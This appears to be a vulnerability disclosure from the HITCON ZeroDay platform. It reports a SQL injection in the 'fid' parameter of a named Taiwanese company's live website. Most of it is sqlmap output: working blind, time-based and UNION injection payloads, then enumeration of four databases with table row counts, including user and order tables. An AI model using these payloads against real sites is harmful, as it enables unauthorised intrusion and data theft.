耐落股份有限公司SQL - HITCON ZeroDay

耐落股份有限公司SQL
SQL位置：
http://www.nylok.com.tw/products_filter.php?fid=1
fid参数过滤不严导致SQL

GET parameter 'fid' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:

Parameter: fid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fid=1 AND 6338=6338

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: fid=1 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: fid=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162717171,0x73794f4e4753496b46744a4642467769725a736a434d7652674a73624e7a6d775562426676444b5a,0x7178787871),NULL,NULL,NULL-- DgVG

[18:53:49] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12
[18:53:49] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.nylok.com.tw'

确认影响库：（4库）
available databases [4]:
[] information_schema
[] neplusco_tslg
[] neplusco_tslg_en
[] test

[18:55:00] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.nylok.com.tw'

查看数据量：
Database: test
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| colorstyle | 13363 |
| room_data | 3193 |
| order_data | 75 |
| porder_data | 23 |
| morder_data | 4 |
+---------------------------------------+---------+

Database: neplusco_tslg
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| photo | 31 |
| product | 30 |
| photo_news | 26 |
| images | 21 |
| news | 13 |
| contact | 7 |
| static_page | 7 |
| tech | 7 |
| user | 6 |
| carousel | 5 |
| ci_sessions | 5 |
| hr | 5 |
| company | 4 |
| event | 4 |
| home | 4 |
| setting | 2 |
| services | 1 |
+---------------------------------------+---------+

Database: neplusco_tslg_en
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| photo | 34 |
| product | 30 |
| images | 21 |
| photo_news | 8 |
| contact | 7 |
| static_page | 7 |
| tech | 7 |
| user | 6 |
| carousel | 5 |
| hr | 5 |
| company | 4 |
| event | 4 |
| home | 4 |
| news | 4 |
| ci_sessions | 2 |
| setting | 2 |
| services | 1 |
+---------------------------------------+---------+

Database: information_schema
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| COLUMNS | 662 |
| GLOBAL_STATUS | 291 |
| SESSION_STATUS | 291 |
| GLOBAL_VARIABLES | 277 |
| SESSION_VARIABLES | 277 |
| COLLATION_CHARACTER_SET_APPLICABILITY | 130 |
| COLLATIONS | 129 |
| PARTITIONS | 68 |
| TABLES | 68 |
| STATISTICS | 63 |
| KEY_COLUMN_USAGE | 39 |
| TABLE_CONSTRAINTS | 39 |
| CHARACTER_SETS | 36 |
| SCHEMA_PRIVILEGES | 36 |
| PLUGINS | 7 |
| ENGINES | 5 |
| SCHEMATA | 4 |
| PROCESSLIST | 1 |
| USER_PRIVILEGES | 1 |
+---------------------------------------+---------+

[18:59:08] [INFO] fetched data logged to text files under 'C:\Users\Administrator.sqlmap\output\www.nylok.com.tw'